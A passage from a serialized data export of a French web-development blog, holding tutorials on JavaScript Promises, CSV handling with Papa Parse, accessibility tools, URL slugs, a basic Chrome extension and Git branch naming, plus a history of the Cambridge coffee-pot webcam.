sitemap sera parcouru et les pages trouvées seront ajoutées à la console**, mais attention cela peut prendre du temps, c'est pour ça qu'il est important de faire cette manipulation le plus tôt possible.\n\n### Une myriade d'outils disponibles\n\nLorsque toutes les pages de votre site auront été indexées, **vous pourrez alors consulter les performances de votre référencement naturel.**\n\nSur la capture d'écran ci-dessous, vous pourrez par exemple voir l'évolution du nombre total de clics, le nombre total d'impressions, votre CTR moyen calculé **ainsi que la position moyenne de votre site dans les pages de résultats.**\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/10/Capture-d--cran-2020-10-21---21.06.14.png)\n\n**Ces chiffres vous seront très utiles à analyser**, car par exemple un site avec une position moyenne plutôt haute mais un très faible taux de CTR indiquera que votre site a une bonne réputation mais que les titres et descriptions des pages ne sont peut-être pas suffisamment accrocheurs.\n\nDans le cas d'un blog (comme celui-là par exemple), vous disposez d'un onglet **\"Couverture\" pour avoir une vue globale du nombre de page indexées au fur et à mesure des publications.**\n\n> Sur le screenshot ci-dessous, on peut par exemple se rendre compte qu'il y a eu un boost d'apparition dans les résultats de recherche après les 100 pages indexées.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/10/Capture-d--cran-2020-10-21---21.07.26.png)\n\n**Cela peut provenir du fait que le blog ait atteint une taille critique, ou bien qu'un article en particulier est très bien référencé.** Pour cette deuxième hypothèse, il vous est possible de vérifier ça dans l'onglet performance avec la liste détaillée des pages et de leur apparition dans les résultats.\n\n> Il existe beaucoup d'autres données très intéressantes à explorer, mais je vous laisserai naviguer en autonomie sur la plateforme.\n\nBon à savoir : Grâce à la Google Search Console, **vous pouvez demander manuellement à Google de réindexer une page spécifique** si son contenu a beaucoup changé récemment !\n\n> _J'espère que l'article vous aura été utile, et à bientôt sur le blog !_\n\n","Optimiser c'est bien, mais encore faut-il analyser sa progression pour savoir ce qui fonctionne le mieux !","les-bases-du-seo-3-analyser-l-evolution-de-son-referencement","2020-10-21T17:05:04.000Z","2023-11-27T15:00:38.097Z","2020-10-21T19:36:35.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/10/lindsay-henwood-7_kRuX1hSXM-unsplash.jpg","Lindsay  Henwood sur Unsplash","https://unsplash.com/@lindsayhenwood?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":906,"title":907,"content":908,"socialTitle":8,"description":909,"socialDescription":8,"slug":910,"createdAt":911,"updatedAt":912,"publishedAt":913,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":914,"coverCopyright":915,"coverCopyrightLink":916},115,"Javascript : Les promises expliquées aux débutants","Lorsque j'ai découvert les Promises (aussi appelées \"promesses\" en français) il y a quelques années, **je dois avouer que j'ai eu du mal à les appréhender tout de suite.**\n\nÉtant donné que je travaillais depuis longtemps avec des callbacks pour mes opérations asynchrones, **je ne voyais pas bien la différence entre les deux systèmes**, parce que dans le fond, le fonctionnement était plus ou moins le même !\n\n> **On passe une ou plusieurs fonctions retour à une fonction asynchrone**, et cette dernière l'exécute à la fin de l'opération asynchrone, c'est la même chose.\n\nAlors qu'en fait, la réponse se situe entre les deux.\n\n> **Une promise est un ensemble de callbacks \"normalisé\" !**\n\n## Le principe\n\n**Prenons pour exemple une méthode asynchrone fictive**, basée sur la fonction Javascript setTimeout(callback, ms) que l'on souhaite utiliser pour créer un délai dans notre code.\n\nLa version callback de notre méthode ressemblerait à ça :\n\n```\n//On créé notre méthode qui prend deux callbacks en paramètres\nfunction timer(delay, onSuccess, onError){\n if(delay \u003C 10000){\n setTimeout(onSuccess, delay);\n } else {\n onError(\"Timer too long\");\n }\n}\n\n//Puis on teste cette méthode\nconsole.log(\"Started...\")\ntimer(3000, function(){\n console.log(\"Finished!\");\n}, function(e){\n console.error(e);\n});\n\n//Le log \"Finished!\" apparait 3 secondes après, tout fonctionne\n```\n\nCette méthode est correcte, elle fonctionne parfaitement, mais si l'implémentation est lisible , **l'utilisation elle, ne coule pas vraiment de source.**\n\n**Comment savoir d'un coup d’œil lequel du premier ou du deuxième callback est celui qui est exécuté si il y a une erreur**, à part en lisant attentivement le code, ou en remontant à l'implémentation de la méthode d'origine ?\n\nD**e plus, si l'on veut enchainer les timers, il va falloir empiler le code et donc les callbacks**, ce qui devient très vite illisible et risque d'engendrer des erreurs malencontreuses.\n\n**Et si il était possible de créer un ensemble de callbacks normalisé, intuitif à l'utilisation et géré nativement par le langage ?** Bienvenue dans le monde merveilleux des Promises !\n\n```\n//On créé la même méthode, mais pas besoin de passer des callbacks, tout va se jouer dans le retour de la fonction\nfunction timerPromise(delay){\n return new Promise(function(resolve, reject){\n if(delay \u003C 10000){\n setTimeout(resolve, delay);\n } else {\n reject(\"Timer too long\");\n }\n });\n}\n\n//Ici, on va même pouvoir enchaîner les appels, sans perdre en lisibilité\nconsole.log(\"Started...\")\ntimerPromise(1000).then(function(){\n return timerPromise(1000);\n}).then(function(){\n return timerPromise(1000);\n}).then(function(){\n console.log(\"Finished!\");\n}).catch(function(e){\n console.error(e);\n});\n//Le log \"Finished!\" apparait 3 secondes après, tout fonctionne\n```\n\nSi l'on compare ces deux exemples, **la Promise créée à l'intérieur de notre fonction vient tout simplement remplacer les deux callbacks précédents par ses paramètres \"resolve\" et \"reject\"**, qui sont en fait des callbacks normalisés, contenu dans un objet, la promesse.\n\nLorsqu'une fonction retourne une promesse, on peut y appliquer notamment deux méthodes : **\"then\" qui va être exécuté lorsque tout se passe bien**, c'est donc l'équivalent du callback \"on\\_success\" et **\"catch\" qui sera exécuté lors d'une erreur**, l'équivalent du  \"on\\_error\" précédent.\n\n> J'espère que le concept de Promise vous est plus clair désormais !\n\n**Le but de cet article n'était pas de vous expliquer les Promises en profondeur** et de vous montrer tout ce qu'il est possible de faire avec, mais je sais que certains développeurs n'arrivent pas à saisir ce concept, c'est pourquoi **j'ai voulu le rendre accessible à tous !**\n\nEt vous n'avez pas encore tout vu, les Promises couplées avec async/await deviennent **extrêmement** pratique, mais ça, c'est pour un autre article.\n\n","TLDR : Une promise est un ensemble de callbacks \"normalisé\" et géré nativement par Javascript !","javascript-les-promises-expliquees-aux-debutants","2020-10-27T08:54:14.000Z","2023-09-19T15:05:37.553Z","2020-10-27T10:17:15.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/03/ryan-franco-C6YVD4keMJY-unsplash.jpg","Ryan Franco sur Unsplash","https://unsplash.com/@ryanmfranco?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":918,"title":919,"content":920,"socialTitle":8,"description":921,"socialDescription":8,"slug":922,"createdAt":923,"updatedAt":924,"publishedAt":925,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":926,"coverCopyright":927,"coverCopyrightLink":928},117,"Importer et exporter des fichiers .csv en Javascript avec Papa Parse","Lorsque l'on est développeur web, **le premier réflexe lorsque l'on a des données à importer est d'utiliser le format JSON**, géré nativement en Javascript.\n\n**Malheureusement, éditer un tel fichier n'est pas toujours accessible pour la majorité des gens**, et même lorsque la personne fait l'effort de bien vouloir le faire, il y a de grandes chances pour se retrouver avec des erreurs de syntaxes lors de l'importation.\n\n**C'est pourquoi les fichiers .csv sont pratiques : ils sont éditables directement dans Excel**, et importable très facilement en Javascript grâce à la librairie Papa Parse.\n\nVoici le lien vers la documentation de la librairie : [https://www.papaparse.com/](https://www.papaparse.com/)\n\n## Comment ça marche ?\n\n**Tout d'abord, il faut ajouter la librairie aux dépendances** du projet en utilisant un packet manager (type NPM ou Yarn) :\n\n```\nnpm install papaparse\n```\n\n> Pour information, les exemples ci-dessous tournent sous **NodeJS, mais la librairie fonctionne aussi très bien dans le navigateur** avec un input type=\"file\" !\n\n### Importer un fichier .csv\n\n**Avant d'essayer d'importer un fichier .csv, vérifiez que le fichier est valide et qu'il est bien présent au chemin indiqué** dans le code, puis copiez-collez le code ci-dessous dans un fichier javascript et exécutez le !\n\n```\n// import.js\nconst Papa = require(\"papaparse\"),\n fs = require(\"fs\");\n \ntry {\n let csv = fs.readFileSync(\"./source.csv\", \"utf-8\")\n let csv_json = Papa.parse(csv, {encoding: \"utf-8\"})\n console.log(csv_json.data);\n} catch(e){\n console.error(e);\n}\n```\n\n**Vous devriez voir apparaitre dans la console le contenu de votre fichier csv sous la forme d'un tableau JSON**, où chaque élément contient lui-même un tableau de toutes les données d'une seule ligne du fichier csv d'origine.\n\nSi la première ligne de votre fichier csv contient les en-têtes, il ne vous reste plus qu'à reconstituer vos objets JSON en vous basant sur la première ligne du tableau !\n\n### Exporter un fichier .csv\n\n**L'export de données JSON vers un fichier CSV se fait aussi facilement que l'import**, il suffit de quelques lignes de code comme l'exemple ci-dessous.\n\n```\n// export.js\nconst Papa = require(\"papaparse\"),\n fs = require(\"fs\");\n \n let json_data = [\n {firstname: \"James\", lastname: \"Donnie\", email:\"jamesdonnie@example.com\"},\n {firstname: \"Thomas\", lastname: \"Crown\", email:\"thomascrown@example.com\"},\n]\ntry {\n var csv_data = Papa.unparse(json_data);\n fs.writeFile(\"./export.csv\", csv_data, { flag: 'w' }, function(){\n console.log(csv_data);\n });\n} catch(e){\n console.error(e);\n}\n```\n\n> **Attention, la première ligne du fichier csv exporté (les en-têtes) correspondra aux clés du premier objet du tableau**, si certaines clés sont présentes dans les objets suivants mais pas dans le premier, elles n'apparaitront pas dans le fichier exporté.","Parfois, j'ai l'impression qu'être développeur, c'est simplement créer des modules d'import/export de données...","importer-et-exporter-des-fichiers-csv-en-javascript-avec-papaparse","2020-10-29T08:08:31.000Z","2023-09-22T13:44:11.658Z","2020-10-29T09:32:21.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/10/isaac-smith-6EnTPvPPL6I-unsplash.jpg","Isaac Smith sur Unsplash","https://unsplash.com/@isaacmsmith?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":930,"title":931,"content":932,"socialTitle":8,"description":933,"socialDescription":8,"slug":934,"createdAt":935,"updatedAt":936,"publishedAt":937,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":938,"coverCopyright":939,"coverCopyrightLink":940},118,"Les 4 meilleurs outils pour tester l'accessibilité d'un site web","Lors d'un premier article appelé \"[**Introduction à l'accessibilité web : l'enjeu des couleurs**](https://code-garage.fr/introduction-accessibilite-web-enjeu-des-couleurs-a11y/)\", j'ai pu introduire le concept de l'a11y ainsi que des pistes d'amélioration du web design en terme de couleurs.\n\n**Mais aujourd'hui nous allons rentrer dans le côté pratique**, puisque je vais vous donner une liste d'outils qui vous permettront d'effectuer des audits d'accessibilité sur les sites que vous développez, facilement, et gratuitement.\n\nAttention néanmoins, **toutes les vérifications ne peuvent pas forcément être effectuées de manières automatiques**, mais certains des outils présentés vous guideront pour effectuer ces contrôles qui requièrent un œil humain.\n\n> **Tous ces outils sont des extensions pour Google Chrome**, certaines sont disponibles pour les autres navigateurs, d'autres sont exclusives, mais toutes sont gratuites !\n\n## 1 - ChromeVox\n\n**Cette extension est tout simplement un lecteur d'écran pour les personnes souffrant de défiences visuelles importantes**, et vous permet de tester l'état actuel de l'accessibilité votre site.\n\nL'outil ne permet pas de faire d'audit, **mais en parcourant votre site vous pourrez vite détecter des problèmes de sémantiques ou d'éléments absents** de la retranscription vocale et vous permettra de faire les modifications nécessaire.\n\nLien de l'extension : [https://chrome.google.com/webstore/detail/chromevox-classic-extensi/kgejglhpjiefppelpmljglcjbhoiplfn?hl=fr](https://chrome.google.com/webstore/detail/chromevox-classic-extensi/kgejglhpjiefppelpmljglcjbhoiplfn?hl=fr)\n\n## 2 - ChromeLens\n\nCette extension est en lien direct avec mon précédent article, car **il permet de simuler l'affichage de votre site selon différentes pathologies visuelles** (mauvaise vision avec différents niveaux, tous les types de daltonisme) mais aussi de connaitre les statistiques de chacune de ces pathologies à traver le monde.\n\nEn choisissant une pathologie puis en raffrachissant la page, **vous verrez donc les éléments changer de couleurs ou se flouter plus ou moins fort** selon ce que vous aurez choisi de tester.\n\n> A noter que l'extension propose aussi une fonctionnalité d'audit, malheureusement elle refuse de se lancer sur mon navigateur.\n\nLien de l'extension : [https://chrome.google.com/webstore/detail/chromelens/idikgljglpfilbhaboonnpnnincjhjkd](https://chrome.google.com/webstore/detail/chromelens/idikgljglpfilbhaboonnpnnincjhjkd)\n\n## 3 - IBM Equal Access Accessibility Checker\n\n**Cette extension développée par IBM est très complète et vous permet pour chaque page web de votre site de lancer un audit complet sur l'accessibilité** en vérifiant par exemple : Le rendu des contraste de la page, les règles CSS, les balises ARIA, la conformité des normes HTML, etc...\n\nL'outil classe les retours dans trois catégories : Les violations, les choses à vérifier manuellement ainsi que des recommandations de bonnes pratiques.\n\nLien de l'extension : [https://chrome.google.com/webstore/detail/ibm-equal-access-accessib/lkcagbfjnkomcinoddgooolagloogehp](https://chrome.google.com/webstore/detail/ibm-equal-access-accessib/lkcagbfjnkomcinoddgooolagloogehp)\n\n## 4 - Google Lighthouse\n\nCette extension est comparable à l'outil d'IBM cité précédemment dans son fonctionnement, mais **elle prend aussi en compte les problématiques de performances du site.**\n\nCar oui, un site accessible à tous doit aussi pouvoir l'être pour les gens ayant **une connexion internet faible ou déficiente.**\n\nLien de l'extension : [https://chrome.google.com/webstore/detail/lighthouse/blipmdconlkpinefehnmjammfjpmpbjk?hl=fr](https://chrome.google.com/webstore/detail/lighthouse/blipmdconlkpinefehnmjammfjpmpbjk?hl=fr)\n\n","Il existe des centaines d'outils d'audit, mais voici ceux que je recommande !","a11y-les-meilleurs-outils-pour-tester-l-accessibilite-dun-site-web","2020-10-30T08:24:43.000Z","2023-09-22T13:44:28.565Z","2020-10-30T09:47:13.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/10/daniel-ali-ju1yFZkrxVg-unsplash.jpg","Daniel Ali sur Unsplash","https://unsplash.com/@untodesign_?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":942,"title":943,"content":944,"socialTitle":8,"description":945,"socialDescription":8,"slug":946,"createdAt":947,"updatedAt":948,"publishedAt":949,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":950,"coverCopyright":951,"coverCopyrightLink":952},119,"Qu'est-ce qu'un slug et pourquoi faut-il l'utiliser dans vos urls ?","**Vous savez, j'en suis sûr, ce qu'est un identifiant, qu'il soit incrémental** (1, 2, 3, 4...), **que ce soit un UUID** (123e4567-e89b-12d3-a456-426614174000) ou encore sous une autre forme.\n\nToutes ces alternatives ont leurs avantages, mais aussi un défaut qu'elle partagent toutes : **Le manque de sémantique.**\n\nSi je vous donne une url sous la forme suivante : https://cadeau.com/15643, **il vous sera impossible de deviner ce qui se cache dans cette page** (à part éventuellement un cadeau).\n\nMaintenant, si je vous donne cette url : https://cadeau.com/peluche-licorne-rose, vous savez normalement à quoi vous attendre, parce qu'à la place d'un simple identifiant, **j'ai utilisé un SLUG.**\n\n> **Un slug est une représentation textuelle simplifiée d'une ressource** (ou de son titre) et dont le format lui permet d'être passé en paramètre d'une url tout comme un identifiant.\n\nLe format n'est pas normalisé, mais il respecte au minimum ces quelques règles :\n\n* Uniquement des **caractères minuscules**\n* **Aucun espace ni aucun caractère spécial** à part \"-\" ou \"\\_\"\n* **Pas de caractère accentué**\n\n## Bonnes pratiques\n\nPasser un slug à la place d'un identifiant dans vos sites web va avoir deux effets positifs : **Améliorer le référencement** naturel de la page (car les robots indexes aussi le contenu de l'url) et **donner confiance aux utilisateurs** afin qu'ils cliquent plus facilement sur vos liens\n\nMais pour celà, il faut suivre quelques bonnes pratiques parmi les suivantes :\n\n* **Les mots-clés de la ressource doivent absolument apparaitre** dans le slug\n* Ce dernier doit **rester lisible** et ne pas contenir trop de mots d'une ou deux lettres\n* **Il doit refléter réllement le contenu de la ressource** et ne pas tromper l'utilisateur\n* Il doit être **unique**\n\nAttention, il faut utiliser les slugs avec discernement, ils seront par exemple **très utiles pour des articles de blogs**, des catégories, ou encore des produits e-commerce. Par contre, **ils ne seront pas pertinents pour de multiples ressources qui peuvent avoir le même nom** comme des personnes par exemple, il existe trop d'homonymes.\n\n> Astuce : Si vous voulez quand même utiliser les slugs pour des ressources ayant le même nom, vous pouvez rajouter un identifiants à la fin du slug, exemple : pierre-dupont-1654 et pierre-dupont-1752.\n\n## Une librairie Javascript\n\nGénérer un slug en passant par des expressions régulières peut parfois devenir vite complexe, c'est pour ça qu'**il existe une librairie en Javascript appelée \"Slugify\"** qui facilite beaucoup le travail.\n\n::: bookmark\n[![](https://static.npmjs.com/338e4905a2684ca96e08c7780fc68412.png)slugify](https://www.npmjs.com/package/slugify)\n:::\n\nAvec slugify, il vous suffit d'appeler **slugify('some string')** pour convertir une chaine de caractère en un magnifique slug.\n\n**En plus, la librairie vous permet de configurer la manière dont les slugs sont générés**, et permet même de transformer certains caractères spéciaux (comme les émojis) en mots porteurs de sémantique, exemple : \"♥\" devient \"love\".\n\n_Vous avez même la possibilité d'étendre cette fonctionnalité en rajoutant de la sémantique sur d'autres caractères spéciaux ! Bref, je recommande._\n\n## Fun Fact\n\n**En anglais, le terme \"slug\" signifie littéralement \"limace\"**, et était autre fois utilisé pour décrire les longues lignes de plombs formant une suite de caractères dans le monde de l'impression papier.\n\n**Le mot à traversé les époques en étant utilisé par les journalistes pour \"identifier\" un article qui passait de main en main** du pigiste jusqu'au rédacteur en chef, jusqu'à être aujourd'hui beaucoup utilisé dans le web, notamment sur les blogs et les sites e-commerce.\n\n","Avec en bonus, une librairie pour les générer automatiquement à la fin de l'article.","qu-est-ce-qu-un-slug-et-pourquoi-faut-il-l-utiliser-dans-vos-urls","2020-11-02T08:06:06.000Z","2023-09-19T15:05:37.671Z","2020-11-02T09:32:01.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/11/rudolf-peter-bakker-zbCL8rmn1CU-unsplash.jpg","Rudolf-Peter Bakker sur Unsplash","https://unsplash.com/@rudolf_peter?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":954,"title":955,"content":956,"socialTitle":8,"description":957,"socialDescription":8,"slug":958,"createdAt":959,"updatedAt":960,"publishedAt":961,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":962,"coverCopyright":8,"coverCopyrightLink":8},120,"La webcam a été inventée pour... filmer une machine à café !","En 1991, Quentin Stafford-Fraser, un chercheur en informatique dans le laboratoire de l'université de Cambridge travaille sur la mise en réseau des ATMs de l'époque (les distributeurs automatiques).\n\nCe dernier collabore alors avec une quinzaine de chercheurs travaillant dans le même bâtiment que lui sur des projets plus ou moins connexes, et pour plancher pendant de longues heures sur leurs projets de recherches, tous consomment de grande quantités de café jour et nuit.\n\nProblème : la recherche académique n'est pas un monde ou l'argent coule à flot, et la plupart du budget est investi dans le matériel utilisé pour les projets de recherches, et une seule machine à café est disponible pour tout le bâtiment.\n\nComme il parait que le café est toujours meilleur quand il vient d'être fait (je n'en sait rien, je déteste ça), à peine la machine avait-elle finie de remplir son bol qu'il se retrouvait bien souvent vide, au grand désespoir des chercheurs ayant descendus plusieurs étages pour... rien.\n\nQuentin Stafford-Fraser et Paul Jardetzky eurent alors l'idée de connecter une caméra disponible dans le laboratoire avec l'un des ordinateurs de la \"Trojan Room\", salle contenant des machines de tests reliées au réseau du bâtiment pour leurs recherches ainsi que... la machine à café.\n\nLe but étant de transmettre les images capturées par la caméra à tous les autres chercheurs du bâtiment, Quentin écrivit le code du logiciel client (intitulé xcoffee) et Paul celui du serveur (censé envoyer les images de la caméra sur le réseau).\n\nAprès quelques heures de travail, les deux chercheurs réussirent à diffuser les images de la caméra, braquée sur la machine à café, directement sur le réseau et chaque chercheur pouvait alors voir en temps-réel (à raison d'une image en nuance de gris de 128\\*128 pixels envoyée toutes les 20 secondes) le taux de remplissage de la machine, et ne plus se déplacer pour rien.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/11/Trojan_Room_coffee_pot_xcoffee.png)\n\nA l'époque, le système tournait sur un protocole RPC maison, créé spécifiquement pour la mise en réseau des ATMs et ne pouvait fonctionner qu'à l'intérieur du laboratoire.\n\nMais avec l'avancée d'internet et l'arrivée des images dans les navigateurs web en 1993, l'ordinateur servant de serveur fût remplacé par un [Acorn Archimedes](https://en.wikipedia.org/wiki/Acorn_Archimedes), et un serveur web fût installé par Daniel Gordon and Martyn Johnson.\n\nLes images de la célèbre machine à café étaient alors publiques, visionnée par des centaines de personnes partout dans le monde chaque jour, jusqu'à amener quelques fans en pélerinage jusqu'à l'université.\n\nA raison d'une image envoyée toutes les secondes, jour et nuit (une lampe braquée sur la machine avait déjà été installée), la première webcam de l'histoire de l'informatique était née.\n\nLe serveur fût stoppé le 22 Août 2001, ci-dessous vous pourrez apercevoir la dernière image jamais transmise par la caméra sur le réseau, photo montrant les doigts de Daniel Gordon, Martyn Johnson et Quentin Stafford-Fraser en train d'appuyer simultanément sur le bouton d'arrêt du serveur.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/11/Trojan_Room_coffee_pot_xvcoffee.jpeg)\n\n* * *\n\nLa majorités des informations de l'article sont issus des paroles et écrits de Quentin Stafford-Fraser lui-même, que vous pouvez retrouver dans les sources tout en bas de l'article (en anglais).\n\nJe trouve personnellement incroyable et fascinant que l'évolution des technologies et de l'informatique soit si rapide que les inventeurs de certaines technologies que nous utilisons tous quotidiennement puisse encore en parler de leur vivant.\n\nNous avons de la chance.\n\n","Il y a 30 ans, une équipe de chercheurs en informatique de l'université de Cambridge rencontre un problème de taille... ou plutôt de contenance !","la-webcam-a-ete-inventee-pour-filmer-une-machine-a-cafe","2020-11-03T07:27:50.000Z","2023-09-19T15:05:37.700Z","2020-11-03T09:14:01.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/11/webcam.jpg",{"id":964,"title":965,"content":966,"socialTitle":8,"description":967,"socialDescription":8,"slug":968,"createdAt":969,"updatedAt":970,"publishedAt":971,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":972,"coverCopyright":973,"coverCopyrightLink":974},121,"Tutoriel : Comment créer une extension Chrome en 5 minutes","J'ai récemment partagé plusieurs extensions pour Google Chrome dans mon article \"[**Les 4 meilleurs outils pour tester l'accessibilité d'un site web**](https://code-garage.fr/a11y-les-meilleurs-outils-pour-tester-l-accessibilite-dun-site-web/)\", donc c'est tout naturellement qu'aujourd'hui je vous présente la démarche pour créer vous-même votre extension Chrome en quelques minutes.\n\nTout d'abord, voyons de quoi est composé **une extension la plus basique possible** :\n\n* Un manifeste\n* Une icône\n* Un fichier html\n* Et c'est tout.\n\n**Le manifeste permet de déclarer toutes les informations et méta-données liées à l'extension**, et le fichier html va contenir le code qui apparaitra dans la popup lorsque vous cliquerez sur l'extension.\n\n## Le code\n\nJ'ai décidé de vous montrer une extension la plus simple possible, j'ai donc opté pour **une simple popup qui affiche un bouton**, qui, lorsque l'on clique dessus ouvre un nouvel onglet pointant sur mon site.\n\n> A noter qu'une extension Chrome peut être très puissante et offrir de nombreuse possibilités, j'ai opté pour une extension la plus simple possible pour cette introduction car un tutoriel avancé est aussi en préparation.\n\n### Le manifeste\n\nLe manifeste est un simple fichier JSON, comme ceci :\n\n```\n{\n \"manifest_version\": 2,\n\n \"name\": \"Basic Chrome Extension\",\n \"description\": \"This extension is for education purpose\",\n \"version\": \"1.0\",\n\n \"browser_action\": {\n \"default_icon\": \"icon.png\",\n \"default_popup\": \"popup.html\"\n },\n \"permissions\": [\"tabs\"]\n}\n```\n\nIl n'y a pas grand chose à dire sur ce manifeste, il est très simple et **doit être mis à la racine du projet**, pour la liste de toutes les permissions disponibles, voici la [documentation officielle](https://developer.chrome.com/extensions/declare_permissions).\n\n### HTML et Javascript\n\n**Le point d'entrée étant un simple fichier html**, il est possible de garder la même structure qu'un projet web classique, j'ai donc séparé le contenu de ma popup en trois fichiers: popup.html, popup.css et popup.js\n\n> Le popup.html contient tout le code qui sera affiché dans la popup, mais attention, **il sera exécuté UNIQUEMENT lorsque vous aurez cliqué sur le bouton** pour lancer l'extension, pas avant !\n\n```\n\u003C!--popup.html-->\n\u003C!DOCTYPE html>\n\u003Chtml>\n \u003Chead>\n \u003Clink href=\"./popup.css\" rel=\"stylesheet\"/>\n \u003C/head>\n \u003Cbody>\n \u003Cbutton id=\"openBtn\">Ouvrir mon site\u003C/button>\n \u003Cscript type=\"text/javascript\" src=\"popup.js\">\u003C/script>\n \u003C/body>\n\u003C/html>\n```\n\nLe fonctionnement est celui décris précédemment : on créé un bouton, auquel on assigne une fonction qui ouvrira une url lorsque l'on clique dessus.\n\n```\n//popup.js\nfunction OpenURL() {\n chrome.tabs.create({ url: \"https://nicolas.brondin-bernard.com\" });\n}\ndocument.getElementById(\"openBtn\").addEventListener(\"click\", OpenURL);\n```\n\n> Attention, les Content Security Policies de Google Chrome interdisent de passer une fonction en ajoutant un attribut onClick dans le html, le binding doit forcément se faire côté Javascript.\n\nUne fois tous les fichiers créés, il ne nous reste plus qu'à tester l'extension, et si vous souhaitez retrouver tout le code de ce tutoriel, **il est disponible sur le dépôt GitHub** ci-dessous :\n\n::: bookmark\n[![](https://avatars2.githubusercontent.com/u/6644095?s=400&v=4)NicolasBrondin/basic-chrome-extension](https://github.com/NicolasBrondin/basic-chrome-extension)\n:::\n\n## Installer l'extension\n\n**Pour celà, il vous suffit d'ouvrir Google Chrome, et de taper chrome://extensions dans la barre de recherche**, puis d'appuyer sur entrée. La page de gestion des extensions va apparaitre, il ne vous reste plus qu'à :\n\n1. Activer le mode développeur\n2. Charger votre extension\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/11/chrome___extensions_.jpg)\n\nUne fois le dossier de votre extension sélectionné, il ne vous reste plus qu'à la trouver dans votre barre de menus sur Google Chrome, d'appuyer dessus **et voilà !**\n\n","Un exemple d'extension chrome basique, le code est disponible sur Github !","tutoriel-comment-creer-une-extension-google-chrome-en-5-minutes","2020-11-04T09:33:04.000Z","2023-09-19T15:05:37.737Z","2020-11-04T10:27:21.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/11/eelco-bohtlingk-Vl2OBElyJu4-unsplash.jpg","Eelco Böhtlingk sur Unsplash","https://unsplash.com/@eelco_bohtlingk?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":976,"title":977,"content":978,"socialTitle":8,"description":979,"socialDescription":8,"slug":980,"createdAt":981,"updatedAt":982,"publishedAt":983,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":984,"coverCopyright":985,"coverCopyrightLink":986},123,"Comment nommer ses branches sur Git ?","Lorsque l'on utilise Git pour versionner son code et que l'on n'impose pas une convention de nommage généralisée, **on perd très vite l'intérêt même d'utiliser un gestionnaire de versions.**\n\nCar après tout, **comment retrouver facilement ses branches** quand la moitié des noms ressemblent à \"fix\", \"another-fix\" ou \"wtf\" ?\n\n## Les branches\n\nJe distingues **trois types de branches** sur un projet : Les branches **globales**, les branches **personnelles** et les branches de **tâches**.\n\n### Branches globales\n\nUne branche globale est une branche qui n'est gérée que par un nombre très restreint de développeurs et qui a des conséquences sur les déploiements. **On ne doit jamais coder directement dans ces branches**, tout le code doit provenir de merge-requests qui auront subit une code-review au préalable.\n\nCes branches s'appellent en général : master, preprod, dev, ...\n\n### Les branches personnelles\n\n**Ces branches sont les branches principales sur lesquelles les développeurs travaillent en autonomie** sur leur sprint respectif pour la version de dev actuelle.\n\nCes branches sont donc toutes nommées : dev/\\[prénom\\], dev/\\[initiales\\] ou encore dev/\\[prénom nom\\].\n\n### Les branches de tâches\n\n**Il arrive parfois qu'un ou plusieurs devs doivent travailler sur une tâche qui sort de leur workflow actuel**, disons une correction de bug sur la version actuelle, alors que leur sprint porte sur la prochaine version de l'application.\n\n**Alors on créé une branche spécifique à cette tâche**, basée sur la branche globale désirée, en prenant soin de préfixer le nom de la branche par le type de tâche à effectuer, exemples :\n\n* fix/user-signup\n* doc/missing-route\n* ux/onboarding-improvement\n\n> Attention, pour garder un dépôt propre, **l'idéal est de supprimer chaque branche de tâche** une fois que cette dernière a été fusionnée avec une branche globale.\n\nSi vous êtes intéressé.e par **les conventions de nommage pour les commits**, allez lire notre article dédié : [https://code-garage.fr/blog/comment-bien-ecrire-vos-messages-de-commit](https://code-garage.fr/blog/comment-bien-ecrire-vos-messages-de-commit)\n\n","Les gens qui mettent des messages de commit incompréhensibles, on vous voit !","comment-nommer-ses-branches-et-ses-commits-sur-git","2020-11-06T07:24:51.000Z","2024-04-15T18:36:38.540Z","2020-11-06T08:27:17.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/11/matthew-smith-Rfflri94rs8-unsplash.jpg","Matthew Smith sur Unsplash","https://unsplash.com/@whale?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":988,"title":989,"content":990,"socialTitle":8,"description":991,"socialDescription":8,"slug":992,"createdAt":993,"updatedAt":994,"publishedAt":995,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":996,"coverCopyright":8,"coverCopyrightLink":8},124,"J'ai créé un jeu en 1 heure !","[Voici la (très courte) démo du jeu.](https://nicolasbrondin.github.io/horny-car/index.html)\n\nPour ceux qui s'en souviennent, je parlais de mon affection pour les game jams dans un ancien article appelé \"[**Devenir un meilleur développeur en participant à des Game Jams**](https://code-garage.fr/devenir-un-meilleur-developpeur-en-participant-a-des-game-jams/)\".\n\nDedans, j'évoquais même ma préférence pour les jams physiques, où tout le monde est réuni dans la même pièce ; problème, **avec les problèmes sanitaires actuels, cette configuration n'est pas envisageable aujourd'hui...**\n\n**J'ai donc participé à ma première Game Jam en ligne**, mais pas n'importe laquelle, une \"**Game Jam de la loose**\", organisée par la même association que la Game Jam précédente à laquelle j'avais participé : **[HitBox 